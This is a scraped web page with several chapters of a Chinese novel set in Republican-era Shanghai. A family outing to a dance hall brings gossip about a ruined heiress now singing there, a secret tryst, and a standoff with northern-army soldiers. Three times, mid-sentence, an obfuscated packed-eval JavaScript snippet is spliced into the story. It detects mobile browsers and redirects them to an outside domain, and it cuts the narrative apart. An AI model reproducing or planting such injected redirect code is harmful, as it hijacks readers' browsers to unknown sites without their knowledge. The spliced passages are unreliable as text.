美东舞厅是沪城最早开办的舞厅之一,方绍伦在沪城求学那两年,美东的名头就很响亮了,生意火爆得不得了。 先头只有白俄和东瀛女子在里头伴舞,后来跳舞的风潮席卷整个沪城,不少名门淑女和女学生也会光顾。 “这还不容易,我回头问问闵礼得不得空,有闲就带你去。”方绍伦和袁闵礼三年前可是美东舞厅的常客,在家闲散了几日,他也颇有点想旧地重游。 “真的?!”方颖琳高兴得跳起来,催着方绍伦给袁闵礼打电话。 袁闵礼这半年是跟着张定坤跑的,如今张定坤不在月城,他又不管铺子里的结算,自然有闲暇。 接下来几日家里气氛颇不和谐,方颖珊估计是知道了方学群的打算,闹腾不休,不知怎么又冲撞了九姨娘,被方学群狠狠训斥了一顿。 方绍伦不想引火烧身,便撺掇着袁闵礼,带上方颖琳和阿良一块去沪城。 方学群早说了让方绍伦去探望寓居沪城的徐侯林,自然同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392317|153323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意他出门,又叮嘱他,“别处倒罢了,魏家要记得去一趟。” 方颖珊的婚事先不管新郎定哪个,明年三月是一定要办的。而方绍玮的婚期定在了九月,只剩下方绍伦没着落。如果不是留洋三年,当时又走得仓促,早该定下来了。 “唉,孩子大了便该早结亲事,留来留去留成仇。”方学群这几日被方颖珊哭闹得烦难不已,吩咐管家为方绍伦备齐礼品,“倘若你魏世伯邀你去他家小住也无妨,魏公馆宅子大,住着也安全。他家有位六小姐,闺名唤‘静芬’的十分贤淑,不曾请喝喜酒,应该仍待字闺中……” 方绍伦忙道,“我带着妹妹还有闵礼阿良,还是住饭店方便自在些。但是父亲说的那位小姐,有机会一定留意。” 他们是去沪城玩耍,住别人家里难免约束,但亲事嘛,倒是可以斟酌一二。 魏世伯从小对他就不错,魏静芬他也是见过的,印象里是个极温柔婉约的女子,倒不像如今新式女子的作派。 方学群点点头,除了留学那事,他家元哥一向是听话的。 从月城去沪城需要坐火车,他们行李不少,侍从开了两台车,将他们送上头等座。 方颖琳还是小的时候和姨娘一起去过两次沪城,早没印象了。她已经十七岁,又在月城念女校,平日里也甚少出门,这次能跟着大哥一起去沪城见世面,高兴得跟只小麻雀似的,一路叽叽喳喳说个不停。 袁闵礼叮嘱她,“四小姐是活泼的性子,上下车、吃住行都千万小心些。这沪城可不比我们月城,有‘四重管’之称,情势复杂得很。” “哪四重管?”方颖琳睁大了眼睛,旁边的阿良也竖起耳朵,袁闵礼一向温文尔雅,人又极随和,上上下下都喜欢听他说话。 “一重军政府,”袁闵礼指了指天,“二重是警备司令部,县官不如现管嘛,”他双手盘了个圈,“三重是各国租界,租界地盘上洋人自己就能做主。这第四重嘛,指当地帮派。现在沪城势力最大的就是漕帮了。”他竖起一个大拇指又向下,是漕帮里头惯用的手势。 沪城在整个华国都是极为重要的一座城市,它近海通商,交通便宜,是兵家必争之地,也是各国列强最早叩开的门户之一。 重要的地理位置造就了如今复杂的形势,自恃腰杆子硬的想要争夺它,各国列强们也纷纷在此圈地为租界,各地想要博机会的年轻人也汇聚在此。 “用不着害怕,你们袁家哥哥跟哪一重都熟得很。”方绍伦在一旁笑嘻嘻的调侃。 他们当初一块在沪城上学,彼此那点子底细是尽知的。 袁闵礼乜他一眼,“绍伦,你可别瞎说啊。密斯特布朗那时可是最喜欢你。” 密斯特布朗是英领事馆领事夫人,也是他们的外语老师,的确最喜欢方绍伦,还曾问他要不要考虑去英国留学,她可为他担保。 “布朗夫人对每个学生都很好,如今恐怕已不记得我是谁。”方绍伦脸上泛起笑意,“哎,我可没有收到过苏小姐和伍小姐的情书。” 虽然同为“耀华双壁”,但袁闵礼确实是比方绍伦更受欢迎的存在。与门第无关,主要两人性情大相径庭。 袁闵礼远比方绍伦温和有礼,秦川公子谪仙人,便是拒绝女生的情书也是柔情款款的,绝不会给人半点难堪。 方绍伦呢?女同学在他面前摔倒了,他三两步就跨过去了,被指责还要狡辩,“我看见了啊没有很严重,又不是三岁小孩自己不能站起来?” 如果摔倒的姿势比较难看,估计他还要在旁边“哈哈”大笑。 但他皮相具备欺骗性,总有不知根底的女孩子看得上。 学校举行运动会,女学生跑得香汗淋漓,似乎体力不支的靠过来,换成别的男同学早就温柔搀扶,方绍伦一蹦三尺远,“哎,你别过来啊,这汗味怎么这么臭……” 总之是毫无绅士风度,女孩子会喜欢才怪。靠脸骗过来几个拥趸,迟早也被吓跑,跑之前多半还要往地上吐口吐沫,再踩上一脚。 女同学里面能对他始终如一温柔相待的只有隔壁学校丁师姐,而袁闵礼就要风光多了。 他的前女友苏娅萍是沪城的富家小姐,而伍梦洁伍小姐则是漕帮大当家的亲侄女。 这两位在学校都是颇为高调的性子,身家背景早早的亮了出来,当初两人不约而同看上了袁闵礼,颇有一番争夺战,当然最后是苏小姐胜出。 袁闵礼看着方绍伦带笑的眉眼在透过车窗的夕阳中熠熠生辉,忍不住伸出手像多年前那样,去揉他的头发。 方绍伦却偏头躲开了,“别动,小心弄乱我发型!”惦记着要去跳舞,他今日难得梳了点刨花水,将一头黑发打理得油光铮亮,配上一身麻灰色西服,说不出的风流倜傥。 袁闵礼抿了抿唇,偏过头去,看向近在咫尺的沪城车站。 10. 第 10 章 随着阵阵“呜咽”声,火车好像长虫般蜿蜒着驶入了沪城的站台。 袁闵礼一再叙说沪城的复杂形势,方颖琳一下车便感受到了,她刚跨下列车门便被小贼抢了钱包。 那钱包做成香囊的样式,五姨娘针指了得,香囊配色艳丽、针脚细密,跟她今儿的一身袄裙十分相配,她原想着挂在胸前也算稳妥。 方绍伦和袁闵礼不过先行一步,便听她一声惊呼,回头看去,一道黑影闪过,方颖琳挂在胸前的香囊便不见了踪影,多亏阿良见机快,拔腿便追。 两道身影在人头涌动的车站跳跃,袁闵礼先去叫了三辆黄包车来,把行李安置好,方绍伦牵着方颖琳站在车旁等候。 见妹妹噘着小嘴眼泪汪汪的,方绍伦宽慰她,“算了,找不回来就算了!值多少钱?哥哥补给你。” “只有十多块……但里头有个发钗是姨娘送的,我生怕丢了,才放在香囊里。” 她正泫然欲泣的当口,阿良却已经跑了回来,额上满头大汗,鼻头嘴角都有血迹,方颖琳被他的惨样吓到,“啊怎么会这样?” 阿良抬肘抹了一把,满不在乎的样子,“没提防让那小贼砸了一拳,不碍事。”他松开紧攥的拳头,掌心赫然躺着方颖琳那只香囊,“四小姐你快检查看看,少了什么没有?” 方颖琳看着他流血的嘴角,又看看那只香囊,却没去接。 阿良塞到她手心,一个劲的催促她快查看,她打开瞅了瞅,“并不曾少。” “那就好。”阿良长出了口气,方颖琳的耳廓却悄悄的红了。 黄包车径直把他们送到美东饭店,舞厅一般在饭店或是旅行社旗下,后世声名鹊起的百乐门、仙乐都还没有开张,此刻美东饭店旗下的美东夜总会就是沪城最大的舞厅。 方绍伦要了三间上房,袁闵礼一间,方颖琳一间,都是大床房,再要了一间套房,他住里间,阿良住外间。 他倒不是要找人伺候,他和阿良在东瀛一向是如此住的。 袁闵礼却看过来,温柔的眼神带点期待的看向他,“绍伦,我们住一间吧,好久没跟你秉烛夜谈了。” 他们之前在沪城求学,住一个宿舍,头对着头,每天晚上都有说不完的话。 “行。”方绍伦点头,他留洋三年,闵礼行商三年,肯定有很多趣事可以分享。 四人安顿下来,方绍伦先打发阿良去魏府和徐府送了拜帖。 等用完晚餐,已是华灯初上,都先回房间捯饬了一下,连阿良都换了一套哔叽呢的小西装。 他跟着大少爷远渡重洋,方大少爷就这么一个贴身长随,肯定不能亏待他,小西装、黑皮鞋给他置办了好几套,不过阿良年纪虽小却很懂得人情世故,一般情况下都收箱底,不拿出来穿,免得三姨娘看见说他“不懂本分”。 方绍伦也换了一套深蓝色派立司三件套,线缝熨得笔挺,上衣口袋里露出浅蓝色三角帕。 袁闵礼端了刨花水过来重新帮他梳头发,原先蘸的那点早让他拂散了。 袁二公子一身华达呢麻黄西服,金表链隐现在马甲的口袋边,也是说不尽的风流潇洒。 他拿把细齿长梳,蘸了黏稠喷香的刨花水,将方绍伦散落在耳边的鬓发抿到脑后,看着他形状美好的耳廓和软嫩耳垂,伸手捏了捏,“绍伦你这耳朵长得可真好,怎不舍得露出来?” 方绍伦如果不用刨花水,散着黑发,头发就会将耳朵盖住一半。 袁闵礼看着水银镜面里,方绍伦光滑无匹堪比绸缎的肌肤、俊美的五官、玉立的身段,忍不住笑叹道,“陌上人如玉,公子世无双啊。” 方绍伦一只手擦裤兜里,一只手托了托袁闵礼的下巴,像二世祖调戏良家妇女似的,笑道,“怎么无双了?这里还有个更好的哩。” 要单论相貌,袁闵礼确实不比方绍伦差,二人迥异的是气质。 袁闵礼脾性温和,似静水流深。方绍伦却犹如山野间跳跃的清泉,清澈见底。 三人西装革履的装扮在人来人往的美东饭店只能算寻常,等四小姐攀着楼梯扶手迤逦而下,才算艳惊四座。 方绍伦一只手搭眼睛上,“哎呀呀,你这穿的什么呀?” 方颖琳是专程来沪城跳舞见世面的,五姨娘按自己的认知给她准备了极体面的行头。 仿照杂志上的样式给她做了一条呢绒的西洋裙子,桃红色,大大的裙摆散开,满头的卷发是专门请梳头师傅拿火钳帮她烫的,她还有些不习惯,伸手摸了又摸。 方颖琳本就有几分尝鲜的不自在,听到方绍伦的评价,垮下小脸,“不好看吗?” 这身装扮,对于方颖琳十七岁的年纪来说委实有些过于成熟了,方绍伦刚要开口,袁闵礼拧了他一下,颌首道,“别听你哥的,他才从外国回来不知道国内的潮流,如今就流行这么穿呢。” 一向唯方绍伦之命的是从的阿良也罕见的瞪了他家大少爷一眼,拍着掌说,“四小姐真好看!”方颖琳这才缓了面色,害羞的低下头。 方绍伦总算醒悟过来,不能打击妹妹初入社交场合的信心,于是闭嘴不言。 舞厅离饭店不远,走过去不过几步路,在饭店住宿可以免门票。 一行人站在舞厅门口霓虹闪烁的灯影里,打量着两边墙上张贴的相框,是美东夜总会几个招牌舞女的黑白相片。 方绍伦看一眼那些相片,方颖琳的装扮可不跟这些照片上的舞女们类似么,他只能吩咐阿良先带小姐进去,“我跟闵礼在门口抽根烟。” 他扬了扬手里细长条的“哈德门”,方颖琳和阿良也不疑其它,欢欢喜喜的先进去了。 方绍伦嘬着烟,在门口转了一圈,看到左手第一张头牌“白牡丹”的照片时他震了震,转头不解的看向袁闵礼。 袁闵礼冲他点点头,很肯定的答道,“是她。” “她怎么会挂在这?”方绍伦大感不解,这可是中西女校四朵金花之首的白慧玲白小姐呀。 白慧玲、丁佩瑜、苏娅萍、伍梦洁并称为中西女校“四朵金花”,个个都是姿容妩媚、身段姣好的女学生,四人挽手出游,堪称沪城一道亮丽的风景线。 袁闵礼的女朋友是四花之一,方绍伦自然认得出这四个人,但要论交情其实都不熟,尤其这位白小姐,性子颇冷淡,是位极为高傲的女士。 她也有傲气的资本,其父是沪上豪商,在诸多产业都有份额,就连当时日出报十多万份的《沪报》都是与她家印刷厂合作。 “是人家的相片挂在这。”袁闵礼纠正他的说法,凑到他耳边低声道,“绍伦你才回来,自然是没有听过震惊沪城的‘428悬案’了。” 他两片薄唇有意无意蹭过方绍伦耳畔,后者被他所说的内容惊到,完全没有留意。 “什么悬案?”方绍伦确实没听过。 去年春末,沪城著名的实业家白先生携两子参加完晚宴,在归家路上遭遇车祸,三人当场身死。 之所以说悬案,是因为并无其它车辆与之相撞,这辆福特牌小汽车不知是否为避让行人或车辆,失控之下撞破护栏,掉入了黄浦江中。 “等遗体打捞上岸都已经是两日后的事情。”袁闵礼摇头叹息,“这事之后,沪城有点头脸的人家父子不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392318|153323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车已成定规。” “竟是如此……”方绍伦喃喃低语,自他归国,已经是第二次听到这种瞬息翻覆的事例了。 头一起是徐侯林下野,徐家父子迁至沪城。第二起便是白家这件惨案了,这乱世波诡云谲,当真是祸福难料。 袁闵礼倒是不以为意,瞄一眼四周,低声道,“无非是挡了别人的财路罢了,”他掏出怀表看了看时间,“绍伦,我们该进去了。” “纵然如此,难道就没有白小姐一个安身立命之所?”即使家主和最能担事的两个儿子身死,白家的产业还摆在那里,往日来往的亲朋故旧也不少,何至于让白慧玲出来抛头露面做舞小姐。 袁闵礼挽着他的手往里走,嘴角勾起一抹笑意,“白小姐所求可不是一个安身立命之所,晚点你看就知道了。” 等到九点钟,舞厅里逐渐人头攒动,但门口挂了招牌的几位暂时还不见身影,方绍伦吩咐阿良照看好方颖琳,其实不消他多说,两人笑笑闹闹的满场乱转,阿良一手虚虚托着方颖琳的胳膊,活脱脱老佛爷身边的小太监。 舞厅分作两层,一楼是个巨大的厅,数盏晶莹的水晶灯从高阔的天花板缀下,满铺着厚实的波斯地毯。 正中一个圆台,披红挂绿,装扮得十分喜庆,台脚一排麦克风,中间竖着三角杆。 围绕着大厅有十来个小包厢,根据大小摆放着两张或四张的西洋高靠背沙发,正中的茶几上码着瓜果盘碟,向外挂着两弯蒲草编织的门帘。 若包厢中的客人要商谈事情可将门帘放下,外面窥探不见。也可以卷起一半,欣赏圆台上的歌舞表演。 入场的客人们可以预订包厢,倘或没有包厢或是不想多费钞票,舞厅正对的卡座也有几排无靠背的长沙发,供人歇坐。 此刻那些长沙发上便坐了不少白俄女子和东瀛女人,看到方绍伦和袁闵礼穿过拱门,走进大厅,纷纷迎上来,“公子可要伴舞?”莺声沥沥,馨香扑鼻。 白俄女子高大健壮,肤色白皙,高鼻深目,很受喜爱尝鲜的华国老爷们青睐。 东瀛女人也自有风情,她们虽与华国人长相类似,但举手投足间格外恭谨有礼,就算遭遇咸猪手滑进舞裙里,也是言笑晏晏,便是拒绝也满脸堆笑,“您喝醉了吧。”“还请您高抬贵手。” 目前的舞厅以这两类舞女居多,本土舞女才刚刚崭露头角,不算主流。 毕竟跳舞原属西洋交际,这两年才在沪城兴起,只在上流圈层流行。 袁闵礼对这种场合显然不陌生,很熟稔的要了个位置不错的包厢,又吩咐梳油头穿白衬衫系着黑马甲围兜的侍从上些酒水吃食,“来两壶花雕,再要一碟牛肉干一碟炸蚕豆,四喜拼盘来一份。” 他打赏了一元小费,侍从立马脆声答话,“哎,爷请稍候,马上就给您送上来。”一溜烟的跑下去了。 “它家的花雕是王宝和家专供的,绍伦,你尝尝,是不是当年我们喝过的那个味。”当年他们在沪城求学,吃喝玩乐没少折腾。 “闵礼,你这几年来得挺多?”方绍伦看他点单无需过目,自然有此一问。 袁闵礼点头,“今年跟着三爷来过几次。” “张三?”方绍伦潋滟的桃花眼又一次睁圆了,“他还会跳舞?”张三在方绍伦的印象中不是个洋派人士。 袁闵礼点头,“且跳得极好哩,你问问几个头牌的舞小姐,谁不知道西南张三爷的大名。” 方绍伦撇了撇嘴,难怪张三举止愈发轻狂了,又是长三堂子的窑姐儿,又是头牌舞小姐。难道还不够他疯的?还非得来祸害他!想想就让人来气! 11. 第 11 章 天色渐晚,沪上华灯初放,街上的人群却仍熙熙攘攘,最热闹的场所要属舞厅和夜总会。 西方的入侵是多方面的,包括了文化和娱乐。原本保守的华国人,夜生活丰富起来,跳舞是最让人好奇又热衷的了,原本男女授受不亲,如今却三三两两,在昏黄的光线里搂搂抱抱,极大的满足了男性好刺激的本能。 大厅里突然响起一阵韵律感极强的乐曲声,取代了原本轻柔舒缓的音乐,也吸引了方绍伦的注意力。 正中的圆台上冒起一阵轻烟,几抹窈窕的身影在烟雾中隐现,一束束灯光点亮了穿着颇为大胆前卫的伴舞女郎,紧接着柔媚的歌声响起,沪城精彩的夜生活正式拉开序幕。 侍从端着托盘把一碟碟酒菜排布在茶几上,袁闵礼和方绍伦才喝上两口,包厢的门扉便被轻轻叩响,半卷的帘外站着一个半弓腰的身影,向着包厢里说了一句什么,乐声喧嚣,方绍伦没有听清,袁闵礼却听到了,微皱了一下眉头,又舒展开,向方绍伦笑道,“绍伦,有个朋友在二楼包厢,我去打声招呼。” “你尽管去,我陪颖琳跳个舞。”原先两人的朋友彼此都认识,但如今已不同,袁闵礼也没有引见的意思,方绍伦摆摆手让他自去。 又起身冲一旁好奇睁大眼睛欣赏歌舞的方颖琳摊开一只手掌,“来吧,趁着这会子人不多,哥哥带你跳一会,等会人多了我可不下场了。” 方颖琳兴奋的起身,挽着他哥的手迈入舞池,阿良拈了一块牛肉干塞嘴里,骨朵着嘴巴,新奇的打量着周遭的一切。 他跟随方绍伦在京都,去得最多的地方是跑马场,这是方绍伦最喜欢的运动。其次是茶室,三岛少爷带他们去观看艺伎表演,跳舞厅还真是第一次来哩。 二楼的包厢亦是围绕舞池一圈,蒲草的门帘换成了多褶的丝绒卷帘,私密性更好,音乐声离得远些,也没有那么吵闹。 苏娅萍轻轻掀起一角,看着舞池里潇洒转动的身影,冲对面娇媚一笑,“闵礼,你怎么不叫绍伦一块上来?我都三四年不曾见过他了,叙叙旧也好嘛。” 她是典型的沪城淑女,眉眼清秀,从卷曲的发卷到嫣红的指甲,无不透着精致,一袭海绒旗袍包裹着成熟诱人的玲珑身段。 大厅里人声鼎沸,包厢里头又烧着热水汀,一点也不冷,她光着两条白膀子抱在胸前,冲袁闵礼妩媚一笑,露出两排珠玉一般的贝齿。 袁闵礼也冲她笑笑,作势起身,“早知道你想见他,我就叫他一块上来了。” 苏娅萍却又拉住了他,“反正他回来了,以后有的是相见的机会,倒也不急在这一时。” 她跟方绍伦其实并不熟稔,四个人一块逛过两次公园的交情,故意这么说,不过想探探袁闵礼的心思罢了。 袁闵礼和方绍伦情谊深厚她是清楚的,他既不避讳让好兄弟知道两人仍有往来,自然是把她放在心上了。 她垂下眼帘,语声带上了苦涩,“闵礼,你是不知道我如今心里的苦……若不是让春桃伺候着他抽大烟,我连出来一趟也不能够。” 春桃是苏娅萍的贴身丫鬟,花容月貌,又忠心耿耿,给了个烟鬼真是可惜了的。 袁闵礼看一眼粘合得严严实实的门帘,起身坐到苏娅萍身边,扯了张纸巾给她拭泪,柔声道,“娅萍,都是我无用,不能助你跳出这火坑……”他垂下双目,无限愧悔痛心之态。 苏娅萍抬起一双美目,伸出柔荑握住他手掌,“闵礼,如何能怪你,你现如今也是自身难保,那张三爷可还处处刁难于你?方老爷真真狠心,谋了袁家产业还不算,还要将你逼到如此境地……” 两人相交已有几年,对彼此的境况心知肚明。所以苏娅萍并不怨怪袁闵礼不能娶她,他纵使有心,也无力。 袁家需要一大助力才能拿回自家的产业,而苏家需要一座金山银矿,才填得满那一张张贪婪的嘴。 “我是男子,纵使风霜刀剑也扛得住,倒是你……”袁闵礼叹口气。 苏娅萍在他疼惜的语气里春心荡漾,“闵礼,我到如此境地,也只有你不嫌弃我……” “你千万不要自弃,”袁闵礼打叠起百般柔情,“眼下这局面多有动荡,一时失意算不得什么。只是你我都如逆水行舟,若随波沉沦便是一泻千里,你也要放宽些心,振作起来才好。” 苏娅萍将他手抓得紧紧,一双泪眼凝视着他英俊的面庞。 从父亲到继母乃至家中姐妹无不劝她认命,只有她认命,她们才能继续过好日子。苏家已是个空壳子,只端了个煌煌的架子,若不是她认命,父亲的赌账、继母的烟资、姐妹们的华服首饰哪里来? 唯有袁闵礼劝她振作,“可我该如何振作?” 袁闵礼似极动情,伸手将她揽入怀中,在她耳边喁喁私语,两道身影渐渐融合到一起去了…… 足有大半个时辰,袁闵礼才从二楼下来,回到包厢,方绍伦正自斟自饮,他十分过意不去,连连致歉,“几个牌搭子,非拉着我扯他们前几日的牌局,实在推脱不得。” 方绍伦不以为意,“你的牌搭子友谊颇牢固嘛,还是原来那批人吗?”袁闵礼念书的时候就爱打牌,且颇擅此道。 冬季里放假回家,方府的姨太太们最爱凑牌局,抓方绍伦凑腿经常抓不到,袁二公子倒是自告奋勇,不但陪坐耐心,牌也打得好,即便赢都赢得漂亮,让姨太太们送了钱还要约他下次继续。 “那哪能呢,原先那几个出国的出国,要么就混赌场去了。”袁闵礼给他点了根“三炮台”,“尝尝这个,劲够大。如今打牌的这几个都是跟着三爷认识的。” 又是张三!这人从张三变成张三爷,连带着这些吃喝嫖赌的本事都上身了。简直五毒俱全,方绍伦越发不待见了。 他接过烟吸了两口,“嗯,挺呛,比哈德门劲道足。”转手就放下了,他在社交场合也接烟抽烟,但并不太爱这个。 他凑近了袁闵礼,闻到一股玫瑰的香气,他吸了吸鼻子,“你这几个朋友还带了女眷?可是时髦人,这香味浓的很。” 袁闵礼面不改色,“上舞厅怎能不携一二芳菲?多半是座中那两个白俄女子,她们最喜欢调脂弄粉。就你鼻子最灵。”他脱下西服抖了抖。 舞厅中央聚集的人群已越来越多,不时有舞小姐过来邀约,方绍伦主要是陪方颖琳来涨见识,自己倒不是很想跳,于是摆手拒绝。 他转目四顾,方颖琳正和阿良在场子的最边角跳舞,乐呵呵很开心的样子,一袭红裙颇为醒目,他也就放下心来,跟袁闵礼一边喝酒一边絮絮闲谈。 方绍伦不爱烟,却好酒,酒量向来不错,一壶花雕见底也面不改色,只有耳边略泛薄红。 灯光突然熄灭,乐队的演奏却不曾停止,片刻之后,一束亮光照向圆台,一抹修长高挑的身影出现在光圈里,人群开始爆发呼哨声和掌声。 白慧玲穿一袭酒红色改良旗袍,旗袍长及脚踝,但开叉至大腿,随着她的走动,白腻隐现。 她启红唇弹香舌,唱了一曲《夜来香》(注1): 那南风吹来清凉 那夜莺啼声细唱 月下的花儿都入梦 只有那夜来香 吐露着芬芳 我爱这夜色茫茫 也爱这夜莺歌唱 更爱那花一般的梦 拥抱着夜来香 吻着夜来香 …… …… 方绍伦看她扭动腰肢,向着底下的人群赠送着飞吻,忍不住皱眉,这魅惑的身形奔放的举止,实在很难让人将她与昔日的高冷女神联系起来。 袁闵礼拍了拍他肩膀,示意他看门口,一抹高大的身影在几个侍从官的簇拥下,走向了离舞台最近的一个包厢,虽然他一身西服,几个侍从却都是穿的制服,蓝底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14392319|153323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄条,是北军的服制。 “这位便是白小姐的入幕之宾,郭家三公子,名乾字冠邦。” “郭家?定城郭家?”郭家名号不肖多说,定城位于南北交界处,要镇得住两边的场子没点实力怎么行。 “他怎么在沪城?” “养人马不要钱么?他这几年长驻沪城,专管这事。还在沪城讨了两房姨太太,都是商家女。”沪城这块宝地谁不想染指?各家路数不同,各凭本事。 袁闵礼似想起什么,“这位郭三公子跟三爷应该交情匪浅,中秋我陪三爷来沪城的铺子结算,他俩约过饭局,还经常一块逛长三堂子,长柳先生可不就这么来的么。” 长三堂子在沪城的名气比美东更甚,是有名的宵金窟。长三是统称,其下有不少书寓,集中在会乐里、美仁坊一带,颇有风雅之名。 方绍伦和袁闵礼在沪城读书的时候,其实也去打过茶围,当时还是魏家公子带着去的,没有熟客引荐还恕不接待哩。 那红倌人见了两个面嫩的公子哥儿不免有些轻狂,借着递瓜子摸方绍伦的手,他很是膈应,觉得这风雅名不副实,再不愿意去。 “长柳先生真是那张三相好?”方绍伦有点狐疑。 张三那晚在包厢,只说他跟她不是那个关系。第二天羞恼冲上头,哪里还记得问? “那可不,据说三爷一见长柳先生就十分倾心,不但豪阔给她烧路头,后边又摆酒赎身,长柳先生不愿意入后宅受拘束,三爷便给她在月城立了个书寓,冲三爷面子上谁敢喝花酒闹事?长柳先生手底下的几个姑娘琴棋书画样样精通,月城自从有了长柳书寓,咱西南的弟兄们都要少来几回沪城哩。” 方绍伦记起上回饭局上,张三一声斥,长柳先生就不敢再闹腾,之后又约他在长柳书寓厮见……看样子张三这风流事还很不少,方绍伦犯起了恶心。 白慧玲唱了两曲,便下了台,径直入了那个警卫把守的包厢。穿白衬衫挂黑马甲的侍从穿梭着,流水似的将酒菜送了进去。 袁闵礼问方绍伦,“要不要去打个招呼?认识一下,既然在这碰着了……” 方绍伦打着哈欠摇头,“不去,咱们喝喝酒看看热闹就好。”张三跟郭三是私人交情,方郭两家并没有什么来往,他才懒得去应酬。 袁闵礼懂他意思,拍了拍他肩膀,起身更衣去了。 他前脚走开,阿良后脚就脸色煞白的跑了过来,“大少爷大少爷……”他手指了指,方绍伦立马站起身,“怎么了?” 阿良一脸的气愤难抑,“不知道哪里冒出来的兵痞子非得拖四小姐跳舞,他们两个人我打不过……” 方绍伦快步穿过场中,径直往方颖琳所在的角落走过去,光线昏暗他看不太清楚,阿良几步窜到前面给他引路。 果然是两个穿北军服制的男人,一个拦住方颖琳的去路,一个伸手想去攥她胳膊。 方绍伦怒火中烧,绕过那个挡路的,一把攥住了那只伸手的胳膊,一个旋身将吓得瑟瑟发抖的方颖琳拉到身后。 舞池里人声鼎沸,人群都有意避开这个角落,但音乐和迈动的步伐却没有停止。 看样子,这种事情在舞厅算不得稀奇,兵痞和富商为了争舞女大打出手确实也经常见诸报端。 两个北军身形都挺高大,被攥住胳膊的那位脸泛凶光,使劲一挣却没有挣脱方绍伦的辖制,他打了个眼色,旁边那个靠过来,同时一个冰冷坚硬之物抵上了方绍伦腰间,“哪来的小白脸……识相点!” “哥……”方颖琳吓得尖叫一声,却仍被乐曲声掩盖。 方绍伦叹口气,右手攥着那只胳膊不放,左手伸到腰间,不过一扒拉,弹夹就到了他手心里,这款勃朗宁是他在东瀛士官学校拆卸得最多的。 他扬了扬手里的弹夹,甩开那只胳膊,冷笑道,“哼,正想去拜访一下郭三公子,二位带路吧。” 12. 第 12 章 双层的蒲草门帘里传来调笑声夹杂着呢喃低语,方绍伦高声报上名号,包厢陡然一静,紧接着传出一声“快请。” 两名卫兵收回拦阻的胳膊,顺势卷起门帘,郭冠邦已从沙发前站起身,二人甫一照面,都不免在内心有些许惊讶。 方才隔那么远,又有随从簇拥,方绍伦还以为这郭三公子是气势不输张三的人物,没想到走近了却是极温和的面容,二十七八岁的年纪,眉目俊朗,面上笑意温存。 他伸手向方绍伦,与他相握,说话也极客气,“方大公子久仰了,我听定坤兄及几位世兄都提过你,无不说你人材俊秀,可惜你留洋海外,一直深恨无缘相识,不想今日在这里一尝夙愿,真是可喜可贺。”一番肉麻话,他说得极为自然。 方绍伦都忍不住有些脸红,“世兄们都是谬赞了。” 他也不会回夸一句,念念不忘来此的目的,“郭兄,你这般温和有礼,”他伸手比划了一下,“你手下的弟兄们却很有些不像话哩。” 他这般直白,倒让郭冠邦愣了一下,高声令门口候着的人滚进来,不问事情经过,先一顿训斥,等了解完来龙去脉,更是气怒非常,命那两个卫兵“赶紧去向方四小姐道歉!”口气一改先前的温和,极为严厉的,“要是不能令方四小姐满意,就不必回来了。” 方绍伦见他如此处决,缓和了面色。手下人多少有些狐假虎威,这位郭三爷倒是明事理。 郭冠邦拉他手在沙发上坐下,二人互报了名讳及年庚,换了称谓,他才松开他的手,又命侍从倒酒来。 他喝的是圣詹姆斯朗姆酒,装在透明的高脚酒杯里,橙红的酒液,泛着极为馥郁的香气,他举起酒杯,“绍伦,咱们这也算不打不相识了?” 方绍伦也颇为高兴的与他碰杯,“郭兄真是爽快人!” 一直待在一旁看戏的白慧玲,这会迈着款款的步子走到长沙发的一侧来,坐在扶手上,倾身向方绍伦举杯,“方公子,我是白慧玲,可还记得我?” 她有一双微微吊梢的狐狸眼,不笑的时候看上去颇有几分孤高清冷,笑起来却是百媚丛生。 既然她不避讳言及过往,方绍伦当然从善如流,与她碰杯啜饮,“白师姐的大名响彻中西女校,怎会不记得?”其实两人无甚交情,他也不知白慧玲说这话是何意。 白慧玲却是与他颇为熟稔的样子,娇笑道,“方公子还是记得丁师姐多一点吧?佩瑜近来可好?” 这下方绍伦是真真有些不好意思了,呐呐笑道,“呃……九姨娘一向挺好。” 中西女校“四朵金花”之一嫁给西南豪商为妾,当中还夹杂着父子情仇,这笑料谈资直从西南传到了沪城。还好,此时门口又传来袁闵礼的拜会声,解了他的尴尬。 袁闵礼一来,气氛立马就要热络许多,他跟着张定坤出入沪城,与郭冠邦算是旧相识,就连白慧玲也是打过交道的。 四人言笑晏晏,一块喝酒聊天间隔着跳舞,气氛十分融洽。 袁闵礼去见朋友,那壶花雕方绍伦一人喝了一大半,来到郭冠邦包厢又换成洋酒,饶是他酒量不错,散场的时候也有了八九分醉意,强撑着道别,回到饭店房间,直接软倒在床上。 阿良帮他把鞋脱了,“要不还是我来照顾少爷吧?” 